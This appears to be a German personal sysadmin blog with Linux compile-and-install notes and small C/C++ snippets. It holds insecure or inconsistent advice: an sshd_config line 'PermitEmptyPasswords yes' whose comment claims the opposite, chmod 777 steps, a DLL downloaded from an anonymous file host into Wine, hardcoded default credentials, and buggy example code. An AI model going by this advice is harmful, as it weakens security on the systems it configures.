
Read More

Samba

Download. samba-3.0.28 läßt sich unter SuSE 10.2 nicht kompilieren.
Aber ACHTUNG Samba Sollte man niemals als vollwertigen Windows File Server Ersatz für Windows Clients beutzen, dafür sind die beiden Systeme zu inkompatibel. 🙁 . Das ist nur eine Temporäre Alternative.
Dafür besser einen NFS Client auf den Windows Client installieren.
Ab Version 3.5 gibt es massive Probleme mit dem PDC.
Sicher gehn das bei SuSE AppArmor deaktiviert ist !!!!

“wget ftp://de.samba.org/samba.org/samba-3.0.26a.tar.gz”
“wget http://www.samba.org/samba/ftp/stable/samba-4.1.0.tar.gz”

“tar -xvzf samba-3.0.26a.tar.gz”

“cd samba-3.0.26a/source” ab Version 3.4 (cd samba-3.4.2/source3/) kann man auch Samba 4 probeweiser mitcompilieren (cd samba-3.4.2/source4/)

“./autogen...

Read More

Cyrus Imapd Debian

Cyrus Imapd / SASL
“wget ftp://ftp.andrew.cmu.edu/pub/cyrus-mail/cyrus-imapd-2.3.12p2.tar.gz”
“tar -xvzf cyrus-imapd-2.3.12p2.tar.gz”
“cd cyrus-imapd-2.3.12”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-plain –enable-anon –enable-login –enable-ntlm –enable-passdss –enable-sql”
“make”
“make install”

Read More

screen

Screen ist ein extrem nützlicher virtueller Terminal Emulator.

Läßt sich leider auf Debian nicht installieren.

Benötigt termcap (tgetent):
“wget ftp://ftp.gnu.org/gnu/termcap/termcap-1.3.1.tar.gz”
“tar -xvzf termcap-1.3.1.tar.gz”
“./configure” oder bei Debian “./configure –enable-install-termcap”
“make”
“make install”

“wget ftp://ftp.gnu.org/gnu/screen/screen-4.0.2.tar.gz”
” tar -xvzf screen-4.0.2.tar.gz”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-pam –enable-locale –enable-colors256”
“make”
“make install”

#Zusat Info##########ä
screen = Screen Session öffnen
strg + a + d = Screen Session verlassen, aber nicht beenden
screen -r = Screen Session wieder aufrufen
s...

Read More

SElinux

SElinux ist recht kompliziert, schlecht dokumentiert und es herscht ein semantisches Chaos in den Conf Files 🙁
Bei Fedora (12) und CentOS (5) ist SElinux bereits standardgemäß installiert und aktiviert (enforcing mode).
Bei SuSE am besten alles via Yast installieren. Repository “http://download.opensuse.org/repositories/security:/SELinux/openSUSE_11.1”
SuSE ist als SElinux System nur ganz bedingt geeignet, zumindest mit der standard “refpolicy” von Tresys.

Linux Kernel SElinux fähig machen.
CONFIG_SECURITY_SELINUX=y
CONFIG_SECURITY_SELINUX_BOOTPARAM=y
CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=1
CONFIG_SECURITY_SELINUX_DISABLE=y
CONFIG_SECURITY_SELINUX_DEVELOP=y
CONFIG_SECURITY_SELINUX_AVC_STATS=y
CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
# CONFIG_SECUR...

Read More

SLES Bootscreen

Um den Silent Boot Screen zu deaktivieren in das
“/boot/grub” Verzeichnis wechseln.
dann die Datei “vi menu.lst” öffnen
und beim Eintrag

“kernel /boot/vmlinuz root=/dev/hda2 vga=0x31a resume=/dev/hda1 vga=normal showopts”

Hinten das “splash=silent showopts” wegnehmen und durch “vga=normal showopts” ersetzten.

Read More

Snort add on

Snort 2.9.1 mit DAQ Libs compilieren ???
für 64 BIT (auf die x64 Pfade achten besonder bei /usr/lib64)

IPtables:
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –enable-devel –enable-libipq”

libdnet:
“http://libdnet.sourceforge.net/”
“tar -xvzf libdnet-1.11.tar.gz”
“cd libdnet-1.11”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include CFLAGS=-fPIC”
“make”
“make install”

DAQ:
“wget snort.org”
“tar -xzf daq-0.6.1.tar.gz”
“cd daq-0.6.1”
“cat README”
“ln -s libdnet.1.1 libdnet.so.1.1”
“ldconfig -Rv /usr/local/lib 2&1 | grep dnet”
“Adding /usr/local/lib/libdnet.so.1.1”
“...

Read More

Snort inline Modus

normales snort mit snort_inline funktion komplieren

ab SuSE 11.1 installiert sich libnet automatisch mit. Also vorher per yast löschen.
Aufgrund der libnet Abhängigkeit funktioniert jetzt Syslog-ng nicht mehr. Lösung neu installieren, siehe dazu Syslog Doku.

Besser siehe IPtable Doku !!!!!!!!!!!!!!!!!!!!!!!!!!
Siehe IPtables Doku.

“http://www.packetfactory.net/libnet/dist/deprecated/libnet-1.0.2a.tar.gz”
Aber nur Version 1.0.X andere Funktionieren nicht im snort inline Modus.
“tar -xvzf libnet-1.0.2a.tar.gz”
“cd libnet-1.0.2a”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

“wget http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz”
“tar -xvzf libpcap-0.9.8.tar.gz”

Read More

Oinkmaster

“wget http://sourceforge.net/projects/oinkmaster/”
“tar -xzf oinkmaster-2.0.tar.gz”
“cd oinkmaster-2.0”
“mkdir /etc/snort/oinkmaster”
“mv * /etc/snort/oinkmaster”
“vi /etc/snort/oinkmaster/oinkmaster.conf” ->
url = http://www.snort.org/pub-bin/oinkmaster.cgi/f355f0667d273bc61e6b4e1a43ccbaeee0342535/snortrules-snapshot-2.8.tar.gz
“/etc/snort/oinkmaster/oinkmaster.pl -v -o /etc/snort/ -C /etc/snort/oinkmaster/oinkmaster.conf”

Eigentlich nicht notwendig da oinkmaster auf wget basiert

Read More

Raid Software

Erstellen von Software RAIDs bei SUSE Linux

Mit einem externen Tool (z.B. pmagic) (nicht während der SuSE installation das Partitionierungs Tool verwenden)
die Festplatten partitionieren.
Alle mit ext3 bzw. Linux-swap Formatieren
1. Primäre Parition /boot (ca. 50 MB mit ext3)
2. Primäre Parition linux-swap
3. Primäre Parition / (root Partition mit ext3)
Jeweils alle Flags auf RAID stellen und bei /boot zusätzlich das Flag auf boot setzten.

Nun muss während des Installationsmenüs von SUSE das Raid angelegt werden. Zur Info den SWAP partitions
Mount point wieder entfernen, damit der Swap auch aufs Raid kommt.
Siehe Bild.

/dev/md0 = /boot
/dev/md1 = swap
/dev/md2 = /

Informationen über das Raid Array “cat /proc/mdstat”.
——————————————————————————————————...

Read More

SSH RSA authentication

RSA Authentifizierung bei openSSH.

Zu Anfang müssen noch einige Einstellungen in der “vi /etc/ssh/sshd_config” vorgenommen werden.
Die sshd_config sollte folgendermaßen aussehen:
#Allgemine Einstellungen##############
Ciphers aes256-cbc #Verschlüsselungs Algorithmus (AES 256 Bit mit Cipher Block Chaining Modus)
MACs hmac-sha1 #message authentication code
Protocol 2 #Nur SSH Protokol 2 zulassen
AddressFamily inet #Nur IPv4 zulassen
SyslogFacility AUTH #Loggin Gerät
LogLevel VERBOSE #Loggin Level
UsePAM yes #Pluggable Authentication Modules aktivieren
PermitEmptyPasswords yes #Leere Passwörter (keine Passwörter) verweigern.
PasswordAuthentication no #Die normale Keyboard Authentifikation mittels Passworteingabe verweigern
Chall...

Read More

SSH IPtables

Tip:

DNS Server (BIND) instalieren, damit der “getaddr” besser funktioniert und das Anmelden schneller geht.

iptables installieren damit nicht jeder auf den Server zugreifen kann.
#iptables für City (remote)###########################
iptables -A INPUT -s 0/0 -p tcp –dport 22 -j LOG –log-level 7
iptables -A INPUT -m iprange –src-range 84.136.0.0-84.191.255.255 -p tcp –dport 22 -j ACCEPT
iptables -A INPUT -m iprange –src-range 172.16.190.0-172.16.190.255 -p tcp –dport 22 -j ACCEPT
iptables -A INPUT -s 0/0 -p tcp –dport 22 -j DROP

#iptables für Stadt (rts)####################################
iptables -A INPUT -s 0/0 -p tcp –dport 22 -j LOG –log-level 7
iptables -A INPUT -m iprange –src-range 62.225.192.0-62.227.255.254 -p tcp –dport 22 -j ACCEPT
iptables...

Read More

OpenSSL

“wget http://www.openssl.org/source/openssl-0.9.8g.tar.gz”
“tar -xvzf openssl-0.9.8g.tar.gz”
“cd openssl-0.9.8g”
“./config shared -fPIC” oder “./config” bei Debian “./config shared” oder “”./config -fPIC” bei 64 Bit (besser für PHP)
“make”
“make test”
“make install”
#Die Dateien zu OpenSSL liegen unter “cd /usr/local/ssl”.
#Dann mal wieder sämtliche Dateien um und wegkopieren 🙁 .
“mv /usr/bin/openssl /usr/bin/openssl.old”
“cp -frv /usr/local/ssl/bin/* /usr/bin/”
“mkdir /usr/include/openssl/”
“cp -frv /usr/local/ssl/include/openssl/* /usr/include/openssl/”
“cp -frv /usr/local/ssl/lib/* /usr/lib/”
“cp -frv /usr/local/ssl/lib/* /usr/lib64/”
“cp -frv *libcry* /usr/lib”
“cp -frv *libcry* /usr/lib64”
“cp -frv *libcry* /lib64/”
“cp -frv *lib* /usr/lib”
“cp -frv...

Read More

StrongSwan update

Um strogSwan zu einer neuen Version upzudaten(feinstes Denglisch :-)) geht man wie folgt vor:

“tar -xvzf strongswan-4.1.6.tar.gz”
“cd strongswan-4.1.6/”
“./configure” nur bei RTS ansonsten (Debian) “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –sysconfdir=/etc/ipsec –enable-ldap –enable-mysql –enable-sql –enable-cisco-quirks –enable-nat-transport –enable-manager –enable-mediation –enable-integrity-test –enable-openssl –enable-agent –enable-unit-tests”
RTS Compile Command:
“make”
“ipsec stop”
Sich davon überzeugen das der ipsec Dienst wirklich nicht mehr läuft “ps -ef | grep -i ipsec”.
Das Verzeichnis “ls -al /var/run” (PID Verzeichnis) nach noch eventuellen vorhanden Dateien durchsuchen bezüglich “charon...

Read More

StrongSwan IPsec Bsp.

VPN zwischen GW2 und GW1.
VPN(IPsec) Packet von 10.10.10.2 nach 172.16.190.8 :
10.10.10.2_eth0< =====>10.10.10.1_eth0-192.168.1.1_eth1< ===VPN-Tunnel===>192.168.2.2_eth0-172.16.190.2_eth1< =====>172.16.190.8_eth0
PC1(Linux) GW1 Wireles-LAN GW2 PC2(Win_XP)

IP Forwarding aktivieren
“echo 1 /proc/sys/net/ipv4/ip_forward” bzw. “vi /etc/sysctl.conf - net.ipv4.ip_forward = 1”

Routen GW2 und GW1 adden.
GW2 - “route add -net 0/0 gw 192.168.2.2”
GW1 - “route add -net 0/0 gw 192.168.1.1”
Keine weiteren Routen eintragen da sonst Konflikt mit dem Kernel Tunnel(routing) Device.

Route auf PC2 adden.
PC2 - via Systemsteuerung Standard Gateway auf 172.16.190.2 setzten oder
“route -p add 10.0.0.0 mask 255.0.0.0 172.16.190.2 metric 20 if 0x10003”

Nun bei PC eins den Standard Gateway...

Read More

sudo

Die Hauptkonfigurationdatei liegt unter “vi /etc/sudoers”. Darauf achten das nur root Schreibrechte hat:
“chmod 700 /etc/sudoers” und nach dem Speichern “”chmod 440 /etc/sudoers” .

Beispiel anhand des “shutdown” Kommandos, das normalerweise nur root ausführen darf.

Cmnd_Alias SYS =/sbin/shutdown -h now
filehunter ALL=(root) NOPASSWD: SYS

Jetzt darf der User filehunter das “shutdown” Kommando ausführen und zwar ohne Passwort.
Der genaue Befehl lautet: “sudo /sbin/shutdown -h now”. Daraufhin fährt die Maschine runter.

Kleiner Tipp am Rand:
Soll der Server aus der Ferne automatisch heruntergefahren werden und zwar ohne komplizierte Passwort und
User wechsel aktionen. So empfiehlt sich die Aktion per ssh via RSA und .bashrc .
Vorgehensweis:
1...

Read More

Sun Grid Engine

Erst mal sämtliches Java per Yast2 (online Quellen) installieren.

Installation auf Master node “sge_qmaster und sge_schedd”

“groupadd sgeadmin”
“useradd -d /opt/sge -m -g sgeadmin -s /usr/bin/bash sgeadmin”
“mkdir /opt/sge”
“wget https://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_SMI-Site/en_US/-/USD/ViewProductDetail-Start?ProductRef=GE-6.2U2-OS-G-F@CDS-CDS_SMI”
“tar -xzf ge62u2_1_lx24-x86.tar.gz”
“cd ge6.2u2_1”
“tar -xzf ge-6.2u2_1-bin-lx24-x86.tar.gz”
“tar -xzf ge-6.2u2_1-common.tar.gz”
“mv * /opt/sge”
“cd /opt/sge”
“chown -R sgeadmin:sgeadmin /opt/sge”
“vi /etc/hosts” -
172.16.190.20 node1.domain.corp node1
172.16.190.21 node2.domain.corp node2
172.16.190.22 node3.domain.corp node3
172.16.190.23 node4.domain.corp node4
“...

Read More

syslog-ng

Bei openSUSE 10.2 ist das ausführen, über
“destination”, von Programmen defekt. Das Update bringt nichts.
Abhilfe ist entweder einen neuere Version(soweit vorhanden) zu installieren oder eine ältere.
Mit der Version vom SLES10(v1.6.8) gehts auch.
Einfach das Executable austauschen (“/sbin/syslog-ng”)

Die Version 3.X ist bis heute (15.05.09) Fehlerhaft, insbesonders bei SuSE 11.1 und sollte nicht benutzt werden.
Besser die Version 2.1.3 verwenden.

Um eine neue Version zu installieren benötig man zuerst das eventlog.

“wget http://www.balabit.com/downloads/files/eventlog/0.2/eventlog-0.2.5.tar.gz”
“tar -xvzf eventlog-0.2.5.tar.gz”
“cd eventlog-0.2.5”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make inst...

Read More

Teamspeak

Teamspeak Voice over IP Server

http://www.goteamspeak.com

“mkdir /home/teamspeak”
“cd /home/teamspeak”
“wget ftp://ftp.freenet.de/pub/4players/teamspeak.org/releases/ts2_server_rc2_202319.tar.bz2”
“tar -xjvf ts2_server_rc2_202319.tar.bz2”
“cd ts2_server_rc2_202319”
“./teamspeak2-server_startscript start”
Es kommt eine kleine Fehlermeldung
“Error starting daemon. Aborted”
Kann aber ignoriert werden.
“vi server.log” Dort ist die Zentral Konfigurationdatei des Teamspeak Servers.
In der Zeile:
“10-12-07 10:17:30,WARNING,Info,SERVER, admin account info: username: admin password: Passwort”
“10-12-07 10:17:30,WARNING,Info,SERVER, superadmin account info: username: superadmin password: Passwort”
stehn die Passwörter der Administratoren.
Dann via Browser auf die Ko...

Read More

Mozilla Thunderbrid

“wget ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/2.0.0.9/source/thunderbird-2.0.0.9-source.tar.bz2”
“tar -xvf thunderbird-2.0.0.9-source.tar.bz2”
“cd mozilla”
“./configure –enable-application=mail”
“make” Bei P4 3GHZ 1GB RAM ca. 2.5h
“make install”

Read More

GnuTLS

Für Debian sind einige Vorinstallation zu treffen.

libassuan:
“wegt ftp://ftp.gnupg.org/gcrypt/libassuan/libassuan-1.0.5.tar.bz2”
“tar -xf libassuan-1.0.5.tar.bz2”
“cd libassuan-1.0.5”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

libksba:
“wegt ftp://ftp.gnupg.org/gcrypt/libksba/libksba-1.0.3.tar.bz2”
“tar -xf libksba-1.0.3.tar.bz2”
“cd libksba-1.0.3”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

libgpg-error:
“wegt ftp://ftp.gnupg.org/gcrypt/libgpg-error/libgpg-error-1.6.tar.bz2”
“tar -xf libgpg-error-1.6.tar.bz2”
“cd libgpg-erro...

Read More

Typo 3

Benötigt:
Apache
MySQL
PHP

“wget http://kent.dl.sourceforge.net/sourceforge/typo3/typo3_src-4.1.5.tar.gz” (http://typo3.org/download/packages/)
“tar -xvzf typo3_src-4.1.5.tar.gz”
“mv typo3_src+dummy-4.1.5 /usr/local/apache2/htdocs/”
“mv /usr/local/apache2/htdocs/typo3_src+dummy-4.1.5 /usr/local/apache2/htdocs/typo3”
“touch /usr/local/apache2/htdocs/typo3/typo3conf/ENABLE_INSTALL_TOOL”
“chmod -R 777 typo3” (Besser den Apache User alle Rechte geben (chown daemon:daemon -R /usr/local/apache2/htdocs/typo3/)
Nun via Browser die Installation ausführen. “http://filehunter.domain.corp/typo3/typo3/install/index.php”
Die Datei “rm -frv ../typo3conf/ENABLE_INSTALL_TOOL” löschen.
Nach der installation am Backend anmelden.
Dann im Menü unter “Tools/DB Check/Manage Refe...

Read More

uTorrent

“lynx http://www.utorrent.com/intl/de/downloads/complete?os=linux&beta=true”
“tar -xzf utorrent-server-3.0-22789.tar.gz”
“cd utorrent-server-3.0-22789”
“unzip webui.zip”
“mkdir /home/p2p”
“useradd -g users -s /bin/false -c “P2P User” p2p”
“chown -R p2p:users /home/p2p”
“sudo -u p2p ./utserver&”

Dann via Browser zugreifen “http://172.16.190.4:8080/gui/”
User: admin
Pass: nix

Read More

UUID

e2fsprogs:
libuuid(e2fsprogs):
“wget http://sourceforge.net/projects/e2fsprogs”
“tar -xvzf e2fsprogs-1.41.1.tar.gz”
“cd e2fsprogs-1.41.1”
32 BIT “./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-elf-shlibs”
64 BIT “./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –enable-elf-shlibs”
“make”
“make install”
“make install-libs”

“wget http://www.ossp.org/pkg/lib/uuid/”
“tar -xzf uuid-1.6.2.tar.gz”
“cd uuid-1.6.2”
64 BIT bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –with-cxx –with-perl”
“make”
“make install”
“mkdir /usr/include/uuid”
“cp -frv /usr/include/uu...

Read More

Crypto FS

Cryptsetup für root unter openSUSE 11.4

openSUSE Installation starten.
Nachdem die Sprache ausgewählt wurde
“ctrl+alt+F2” drücken (in VMware ctr+alt+space+F2)
dann öffnet sich die Console.
Nun zwei Partitionen erstellen (Boot und Rest[root+swap])

“fdisk -l”
“fdisk /dev/sda”
“m”
“p”
“n”
“p”
“1”
First Sector “1”
Last Sector “+1G” (GB für Boot)
“p”
“n”
“p”
“2”
First Sector “XYZ” (Nächster freier Sektor nach boot)
Last Sector “Letzten Sektor eingeben” (für LVG)
“p”
“w”
“fdisk -l”
Ab openSUSE 13.1
“cryptsetup -v –cipher aes-xts-plain64 –key-size 512 –hash sha512 –iter-time 5000 –use-random luksFormat /dev/sda2”
openSUSE < 13.1 “cryptsetup luksFormat -c aes-cbc-essiv:sha256 -s 256 /dev/sda2” oder für schwache CPU “cryptsetup luksFormat /dev/sda2”
“YES”
“PAS...

Read More

VLC

libmad (MAD: MPEG Audio Decoder):
“wget http://www.underbit.com/products/mad/” - libmad-0.15.1b.tar.gz
“tar -xzf libmad-0.15.1b.tar.gz”
“cd libmad-0.15.1b”
“vi configure” - löschen von:
optimize=”$optimize -fforce-mem” ab ca. Zeile 19101
Da es bei gcc Compiler errors hervorbringt: cc1: error: unrecognized command line option “-fforce-mem”
“./configure” oder bei SUSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

libavcodec:
“wget http://ffmpeg.org/releases/ffmpeg-0.5.tar.bz2”
“tar -xf ffmpeg-0.5.tar.bz2”
“cd ffmpeg-0.5”
“./configure” oder bei SUSE “...

Read More

Webmin

“wget http://prdownloads.sourceforge.net/webadmin/webmin-1.390.tar.gz”
“tar -xvzf webmin-1.390.tar.gz”
“mv webmin-1.390 /usr/local/apache/htdocs”
“/.setup.sh”
“http://filehunter:10000/”

“/usr/local/apache2/htdocs/webmin-1.430/config/start” = Webmin starten oder
/usr/bin/perl /usr/local/apache2/htdocs/webmin-1.480/miniserv.pl /etc/webmin/miniserv.conf

Read More

Wikimedia

“wget http://download.wikimedia.org/mediawiki/1.14/mediawiki-1.14.0.tar.gz”

#Logo auf Hauptseite änder######################################################################
“vi LocalSettings.php” -> hinzufügen von
$wgLogo = “{$wgScriptPath}/OS_Logo_wiki.png”;

Read More

Wine

Download von www.winehq.org
Lässt sich auf openSuSE 64 Bit nicht kompilieren.
deshalb für 64 Bit ein rpm Binary benutzen.

“wget http://www.winehq.org/?announce=1.0”
“tar -xf wine-1.0.tar.bz2”
“cd wine-1.0”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“screen”
“time make depend”
“time make”
“make install”

Dauer bei Pentium 2 300MHZ 512 MB Ram ca. 7 Stunden

Read More

Wine Office 2003

Folgenden Dateien von Office 2003 editiert werden.

OWC10.MSI
OWC11.MSI
PRO11.MSI

und zwar muss man die MSI Dateiinformationen ändern. Dazu benutz man das Programm
Orca von astebner.sts.winisp.net/Tools/Orca.zip .

Nun die MSI Dateien mit Orca öffnen und auf der linken Seite die Rubrik “InstallExecuteSequence” suchen und draufklicken.
jetzt die ganze Zeile “SchedSecureObjects” ausschneiden und das auch mit der Zeile “ExecSecureObjects” machen.
Nun mit speichern die Datei verlassen und die nächste MSI Datei editieren, auf die gleiche Weise.

jetzt kann man die SETUP.EXE ausführen “wine SETUP.EXE”. Aber nur Word, Excel und PowerPoint installieren, der Rest
läuft nicht (gilt für wine kleiner 0.9.31).

Sobald das setup (bricht automatisch nach einiger Zeit ab) ...

Read More

Crossover

“wget https://www.codeweavers.com/login/”
“chmod 777 install-crossover-pro-7.1.0.sh”
“./install-crossover-pro-7.1.0.sh”
Files liegen unter “cd /opt/cxoffice”.

Read More

Wine Office 2007

Neuste wine Version installieren. Siehe Doku.

“winecfg” -> Windows Version auf “Windows XP” stellen.
Dann die “mv ~/.wine/drive_c/windows/system32/rpcrt4.dll ~/.wine/drive_c/windows/system32/rpcrt4.dll.backup” Backupen.
Und nun die Spezial “rpcrt4.dll” runterladen “wget http://anonym.to/?http://uploaded.to/file/cgxvkh” .
Nun die gedownloadet Datei nach “cp -frv rpcrt4.dll ~/.wine/drive_c/windows/system32/” kopieren.
Nun weiter ein Spezial Script downloaden und ausführen “wget www.kegel.com/wine/winetricks” . Kommando zum Ausführen
“sh winetricks msxml3 gdiplus riched20 riched30 vcrun2005sp1 allfonts”. Dann “sh winetricks dotnet20”, es stürtz zwar ab, aber nur so läßt sich dann auch Excel und PowerPoint starten.
Eventuell mal mit “sh winetricks msxml3 dot...

Read More

W-LAN

Im Kernel alle W-Lan Optionen compilieren.

Jetzt einen passenden Linux Treiber für die W-Lan Karte suchen (ndiswrapper) .
In unserem Fall für den Chipsatz “lspci -> RaLink RT2561/RT61 rev B 802.11g” bzw.
“wget http://rt2x00.serialmonkey.com/rt61-cvs-daily.tar.gz”
“tar -xvzf rt61-cvs-daily.tar.gz”
“cd /rt61-cvs-2008112517/Module”
“make”
“make install”
“depmod”
“modprobe rt61”
“echo ‘rt61’ >> /etc/modules”

Nun ist der Treiber im Kernel 🙂

“ifconfig -a” alle Netzwerk Interfaces anzeigen lassen
“ifconfig wlan0 up”

Dann benötigt man noch das “Wireless LAN Extensions Manipulation” Programm.

“wget http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/wireless_tools.29.tar.gz”
“tar -xvzf wireless_tools.29.tar.gz”
“cd wireless_tools.29”
Das Prefix im Makefile auf ...

Read More

libxml2

“wget ftp://xmlsoft.org/libxml2/libxml2-2.7.1.tar.gz”
“tar -xvzf libxml2-2.7.1.tar.gz”
“cd libxml2-2.7.1”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –with-http”
“make”
“make install”

Read More

Zend Optimizer

Benötigt von z.B. php oneadmin photo kram

“wget www.zend.com”
“tar -xvzf ZendOptimizer-3.3.0a-linux-glibc21-i386.tar.gz”
“cd ZendOptimizer-3.3.0a-linux-glibc21-i386”
“./install”
Menüanweisungen folgen

 

Read More

zlib

Wird von z.B. PHP benötig und diveresen Programme zum ver -ent -packen.

“wget http://www.zlib.net/zlib-1.2.3.tar.gz”
“tar -xvzf zlib-1.2.3.tar.gz”
“cd zlib-1.2.3”
“./configure” oder bei SuSE und Debian “./configure –libdir=/usr/lib –includedir=/usr/include –sharedlibdir=/usr/lib”
“make”
“rm -frv /usr/lib/libz.la”
“make install”
“cp -frv libz.* /lib/”
“cp -frv libz.* /usr/local/lib”
“cp -frv libz.* /usr/lib/”

Read More

Boost regexp

//clear;g++ -g -Wall -o rules_modifier rules_modifier.cpp -lboost_regex
#include <boost/regex.hpp>

boost::regex expr(“*[0-9]*”);

if (boost::regex_search(snort_conf_inhalt_string, expr))
{
cout << “line matches.” << endl;

}
else
{
cout << “line does *not* match.” << endl;
}

Read More

dymnaisches Array

string *datei_array = NULL;

int k = 1;

k = k + 1;

datei_array = new string[k];

datei_array[i] = verzeichnis_inhalt;

cout<<“In Schleife “<<i<<” : “<<datei_array[i]<<endl;

Read More

Integer nach String konvertieren

#include <string>
#include <sstream>

//******************************

stringstream strstream;
strstream << i;
string_zahl = strstream.str();

Read More

Liste

//Liste für die Dateien
struct TListenKnoten_datei
{
string data_datei;  // simuliert die Daten
TListenKnoten_datei *next_datei; // Verknüpfung zum Nachfolger
};

string Inhalt_datei;
TListenKnoten_datei *node_datei, *old_datei;
TListenKnoten_datei *Anker_datei = 0; // Anfang der Liste
//****************************************************************************************************************
TListenKnoten_datei *node = new TListenKnoten_datei;
node->data_datei = verzeichnis_inhalt;  // Besetze die Daten
node->next_datei = Anker_datei; // Hänge die bisherige Liste an
Anker_datei = node;       // Setze den Anfangspunkt hierhe
//****************************************************************************************************************
for (...

Read More

Unterfunktion Rückgabewert

#include <iostream>
using namespace std;

string Add(string, string); //Deklaration einer Funktion

int main()
{
string a,b;
cout<<“Bitte 2 Zahlen eingeben\n”;
cin>>a;
cin>>b;
cout<<“Die Summe von “<<a<<” und “<<b<<” ist “<<Add(a,b)<<“.\n”;
}

string Add(string lhs, string rhs) //Definition einer Funktion
{
return lhs + rhs;
}

Read More

Verzeichnis durchsuchen

#include <dirent.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>

void traverse(char *fn, int indent) {
DIR *dir;
struct dirent *entry;
int count;
char path[1025];
struct stat info;

for (count=0; count<indent; count++) printf(”  “);
printf(“%s\n”, fn);

if ((dir = opendir(fn)) == NULL)
perror(“opendir() error”);
else {
while ((entry = readdir(dir)) != NULL) {
if (entry->d_name[0] != ‘.’) {
strcpy(path, fn);
strcat(path, “/”);
strcat(path, entry->d_name);
if (stat(path, &info) != 0)
fprintf(stderr, “stat() error on %s: %s\n”, path,
strerror(errno));
else if (S_ISDIR(info.st_mode))
traverse(path, indent+1);
}
}
closedir(dir);
}
}

main() {
puts(“Directory structure:”);
traverse(“/dev”, 0);
}

Read More

Datei zum schreiben öffnen

#include <fstream>

#include <iostream>

using namespace std;

int main()
{

fstream f;
f.open(“test.dat”, ios::out);
f << “Dieser Text geht in die Datei” << endl;
f.close();
}

Read More

MySQL connect

#include <iostream>
#include <mysql/mysql.h>

using namespace std;

int main ()
{

MYSQL *mysql_handle;
MYSQL_RES *result;
MYSQL_ROW row;
char *query;
int mysql_status_code;
//int reihen_nummer;
//int zellen_nummer;

mysql_handle = mysql_init(NULL);

mysql_real_connect(mysql_handle,”localhost”, “root”,”mysql”,”test_datenbank”,0,NULL,0);

query = “DROP DATABASE test_datenbank;”;

mysql_status_code=mysql_real_query(mysql_handle,query,(unsigned int) strlen(query));

if (mysql_status_code > 0)
}
cout<<“Fehler mit dem SQL Server: “<<mysql_error(mysql_handle)<<endl;;
}
else
{
cout<<“Datenbank erfolgreich geloescht !!”<<endl;
}

result=mysql_use_result(mysql_handle);

mysql_close(mysql_handle);

return (0);
}

Read More

HTTP Netzwerk connect

/*
Netzwerkverbindung mit der C Socket API
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

#include <iostream>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <vector>

using namespace std;

int main ()
{

struct hostent *host;//Hostname struktuieren
host = gethostbyname(“ld0082”); //eventuell die IP in DNS Namen umwandeln

struct sockaddr_in addr;
addr.sin_addr = *(struct in_addr*)host->h_addr;

int s;
s = socket(PF_INET, SOCK_STREAM, 0); //Socket aufbauen. wenn -1 dann ist fehlgeschlagen
//cout<<“Socket Status: “<<s<<endl;

addr.sin_port = htons(1080);//Connection Portnummer des Servers festlegen
addr.sin_family = AF_INET;

connect(s,(struct sockaddr*)&addr,...

Read More

Datei prüfen

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <iostream>

using namespace std;

int main ()
{
struct stat FileInfo;
struct dirent *CurrentFile;
DIR *Directory;
char Path[30];

Directory = opendir(“/home/USER/temp”);

/*if ( (Directory = opendir(“/tmp”)) == NULL)
{
perror(“opendir()”);
return EXIT_FAILURE;
}
*/
while ( (CurrentFile = readdir(Directory)) != NULL)
{
//if (strcmp(CurrentFile->d_name,”.”) &&
//     strcmp(CurrentFile->d_name,”..”))
{
strcpy(Path,”/home/USER/temp/”);
strcat(Path,CurrentFile->d_name);
//printf (“%s \t:”,Path);
cout<<Path;
if (stat(Path,&FileInfo) == -1) {
perror(“stat()”);
closedir(Directory);
return EXIT_FAILURE;
}
if (S_ISREG(FileInfo.st_mode))
p...

Read More

Vektor mit Rückgabe

#include <stdio.h>
#include <vector>
#include <string>
#include <iostream>

using namespace std;

int vector_funktion(vector<string> &vec, string test)
{
cout<<“Funktion: “<<test<<endl;

int i;
for(i=0;i<100;++i)
{
vec.push_back(test);
//vec[i] = test;

}
cout<<“Push_back: “<<vec[34]<<endl;

return(0);
}

int main ()
{

vector<string> vec;
